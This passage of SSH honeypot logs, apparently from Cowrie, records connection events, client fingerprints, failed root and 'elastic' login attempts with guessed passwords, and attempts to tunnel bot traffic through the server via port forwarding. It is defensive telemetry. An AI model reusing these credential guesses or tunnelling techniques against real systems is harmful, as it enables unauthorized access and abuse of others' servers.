\\xad!\\xc5n\\x9ey\\x81v\\x10\\x0e\\xf0hg\\xe7<\\x04\\xb6\\x91b\\x19s\\x01,\\xbd>\\x80\\x89\\x12\\xb2\\x01\\x9e\\n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x93\\x98\\xdb<\\xaa\\x95\\xad\\x11B/\\xdb7v-\\x80~E\\x84@\\xc1\\n\\x9b\\x81\\xf40\\x04FdDp\\x9dY \\xae\\x9c\\xadG\\xf6Eql\\xc8\\x1d\\x0f\\xed\\xc2i\\x9c\\xd5\\xa6R\\x019\\x8dO\\xfe\\x9b}d\\xa4\\x98\\x06\\xb6\\xc2\\t\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xad!\\xc5n\\x9ey\\x81v\\x10\\x0e\\xf0hg\\xe7<\\x04\\xb6\\x91b\\x19s\\x01,\\xbd>\\x80\\x89\\x12\\xb2\\x01\\x9e\\n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:33.814147Z","src_ip":"23.175.50.52","session":"e99dc6b2a116","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:34.886991Z","src_ip":"147.45.211.215","session":"9c3275dff653","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:35.060673Z","session":"e99dc6b2a116","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:35.903746Z","session":"e99dc6b2a116","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":13172,"dst_ip":"159.203.135.109","dst_port":22,"session":"78a603570cfd","protocol":"ssh","message":"New connection: 91.92.40.36:13172 (159.203.135.109:22) [session: 78a603570cfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:36.955815Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":41310,"dst_ip":"159.203.135.109","dst_port":22,"session":"a42df6f28f79","protocol":"ssh","message":"New connection: 147.45.199.80:41310 (159.203.135.109:22) [session: a42df6f28f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:38.485939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:38.490522Z","src_ip":"147.45.199.80","session":"a42df6f28f79","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:38.493516Z","src_ip":"23.175.50.52","session":"e99dc6b2a116","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1.0; star_plus_plus) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=KVl6VUZ4UTJkem5rSypxWA%3D%3DkXYGQrp48Zm16xKUyUDABDExWcCvrAKsw7iTYLK8LMU1EjdeHx7dVLYxmY3ZDYFtJo0GG7Fsz30q335YtkumRkCxm1K%2Bf7L%2FMfphXa0b491rKa5X7U9pX5XN7bzG%2FYsLv8tyd%2F2CepCbLS1sDx5GWvpw9NL%2FO0nGRArD%2Fri56Dzy6NWCnBKZ0SIfaBXzKDTGShGdgQXtF5S%2FRas1EbdH%2F7eGYoFBB%2BnGMzxosUs1MrWE6TTEbeoNq6esmEmJQnjBjLsAXv3QSXBuBWiH5Os3DZejgCS44nfHpgBud6Lb6T45WEZy5CuPlFjtbBvfS4kjgL7V89xZsh00C%2BBM9i6G9mde889jvdfKvl2LZHzl3s35smnJjXyw3VZXiVQgo8XiadvekKFTBKZRFDSXX7CzPwWmWbNEMVwNPyHBEmZZ2yOXGw5gu44JZmE52P5CuvaYlfRaTKcr2rcuy5oSmaP2Pv4%2B9Hmr3IYgNgbsWT6l2GeRSL36dOv8qFCHniF867HzU6EQd14V3s1ako7SqPU3Eg8aDaio0Pu9MeqrfZD8DzTI04I922FNyi1Cni%2BS2FIRPGFFuanjXONKrPZnLyq3Ud3v4Gv7Zm3esIz%2FhVYm6BbGDUYgZx1XjhIFpZt6X2%2Fk1ZkICYTHBnKSQiCvOu%2BmxLe%2F6HJQCvxmDUBhAQSiPOezz5uIThabInFfTKBpWnJuz9YpJhz%2BqbNjBV3FowMSto5ZSJWaOFBX751ITFWO559qGXorgL3AipqupLLkAHz3IpuKX39qJiYm8i8Fw%2FaLMTjShuBEvRE%2FaEbPjXccj%2FaOJrkdAPke3pYFyZMXOgYaYldXNzTpVIh1xUPnl1lNuSJxblFDCV8kG%2ByMWnBO52V6nk8ihs%2FQQGIvhw3TITZ1j7bFgRr3wubRVLvdX3P%2BRy8BmBc6D3LW4c7RklDvM5GNCKxE90V0%2BcxtvguxXoLLHsHv2xkgirAFMVVoWaO3Gmf4cy5qq9lyptQ3kpHEslR2uqhh1txeMnL8g70nAUoCqokgNzIqeT96sVWMBiKmmSFPyEEzA5ifHAZtkWw5ZGA6kB395%2FI83PawzXFI9%2B8Z'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1.0; star_plus_plus) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=KVl6VUZ4UTJkem5rSypxWA%3D%3DkXYGQrp48Zm16xKUyUDABDExWcCvrAKsw7iTYLK8LMU1EjdeHx7dVLYxmY3ZDYFtJo0GG7Fsz30q335YtkumRkCxm1K%2Bf7L%2FMfphXa0b491rKa5X7U9pX5XN7bzG%2FYsLv8tyd%2F2CepCbLS1sDx5GWvpw9NL%2FO0nGRArD%2Fri56Dzy6NWCnBKZ0SIfaBXzKDTGShGdgQXtF5S%2FRas1EbdH%2F7eGYoFBB%2BnGMzxosUs1MrWE6TTEbeoNq6esmEmJQnjBjLsAXv3QSXBuBWiH5Os3DZejgCS44nfHpgBud6Lb6T45WEZy5CuPlFjtbBvfS4kjgL7V89xZsh00C%2BBM9i6G9mde889jvdfKvl2LZHzl3s35smnJjXyw3VZXiVQgo8XiadvekKFTBKZRFDSXX7CzPwWmWbNEMVwNPyHBEmZZ2yOXGw5gu44JZmE52P5CuvaYlfRaTKcr2rcuy5oSmaP2Pv4%2B9Hmr3IYgNgbsWT6l2GeRSL36dOv8qFCHniF867HzU6EQd14V3s1ako7SqPU3Eg8aDaio0Pu9MeqrfZD8DzTI04I922FNyi1Cni%2BS2FIRPGFFuanjXONKrPZnLyq3Ud3v4Gv7Zm3esIz%2FhVYm6BbGDUYgZx1XjhIFpZt6X2%2Fk1ZkICYTHBnKSQiCvOu%2BmxLe%2F6HJQCvxmDUBhAQSiPOezz5uIThabInFfTKBpWnJuz9YpJhz%2BqbNjBV3FowMSto5ZSJWaOFBX751ITFWO559qGXorgL3AipqupLLkAHz3IpuKX39qJiYm8i8Fw%2FaLMTjShuBEvRE%2FaEbPjXccj%2FaOJrkdAPke3pYFyZMXOgYaYldXNzTpVIh1xUPnl1lNuSJxblFDCV8kG%2ByMWnBO52V6nk8ihs%2FQQGIvhw3TITZ1j7bFgRr3wubRVLvdX3P%2BRy8BmBc6D3LW4c7RklDvM5GNCKxE90V0%2BcxtvguxXoLLHsHv2xkgirAFMVVoWaO3Gmf4cy5qq9lyptQ3kpHEslR2uqhh1txeMnL8g70nAUoCqokgNzIqeT96sVWMBiKmmSFPyEEzA5ifHAZtkWw5ZGA6kB395%2FI83PawzXFI9%2B8Z'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:38.495878Z","src_ip":"23.175.50.52","session":"e99dc6b2a116","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:38.587207Z","src_ip":"147.45.199.80","session":"a42df6f28f79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fktrcttdyf","message":"login attempt [root/fktrcttdyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:38.879276Z","src_ip":"147.45.199.80","session":"a42df6f28f79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123qwerty","message":"login attempt [elastic/123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:38.890891Z","src_ip":"91.92.40.36","session":"c9e9a0f069d2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:39.131924Z","src_ip":"23.175.50.52","session":"e99dc6b2a116","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x83o2\\xbe\\xc8\\xba[\\xcf\\xb1 Q%\\x93\\xc0\\x1d\\xaa\\xe7\\x92U\\x9e\\xcbw\\xa3=j\\xe9\\xd2\\xa1Hoo\\xad \\xa2S\\x99\\xd5|:z\\xb7\\x12\\x1c\\xb2\\xae\\x0c\\xcc\\xbe\\xe0w\\x00z/\\xc5\\xf28\\t\\x9bC\\x88\\xa9\\xdfU\\x93\\x87\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcd\\xc0KR\\xf0w-\\xc4#\\xd8\\x82h)\\xed\\rp:_\\xbcu\\xbf\\x82\\x89\\xdb\\x9b\\x06\\x04\\xd6{\\x96*v\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x83o2\\xbe\\xc8\\xba[\\xcf\\xb1 Q%\\x93\\xc0\\x1d\\xaa\\xe7\\x92U\\x9e\\xcbw\\xa3=j\\xe9\\xd2\\xa1Hoo\\xad \\xa2S\\x99\\xd5|:z\\xb7\\x12\\x1c\\xb2\\xae\\x0c\\xcc\\xbe\\xe0w\\x00z/\\xc5\\xf28\\t\\x9bC\\x88\\xa9\\xdfU\\x93\\x87\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcd\\xc0KR\\xf0w-\\xc4#\\xd8\\x82h)\\xed\\rp:_\\xbcu\\xbf\\x82\\x89\\xdb\\x9b\\x06\\x04\\xd6{\\x96*v\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:39.135237Z","src_ip":"23.175.50.52","session":"e99dc6b2a116","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:39.221649Z","src_ip":"91.92.40.36","session":"78a603570cfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:39.225306Z","src_ip":"91.92.40.36","session":"78a603570cfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:39.979038Z","src_ip":"147.45.199.80","session":"a42df6f28f79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:41.379566Z","src_ip":"91.92.40.36","session":"c9e9a0f069d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":64537,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d6274c04b25","protocol":"ssh","message":"New connection: 123.27.168.40:64537 (10.17.0.5:22) [session: 9d6274c04b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:42.003011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:42.009649Z","src_ip":"123.27.168.40","session":"9d6274c04b25","protocol":"ssh"}
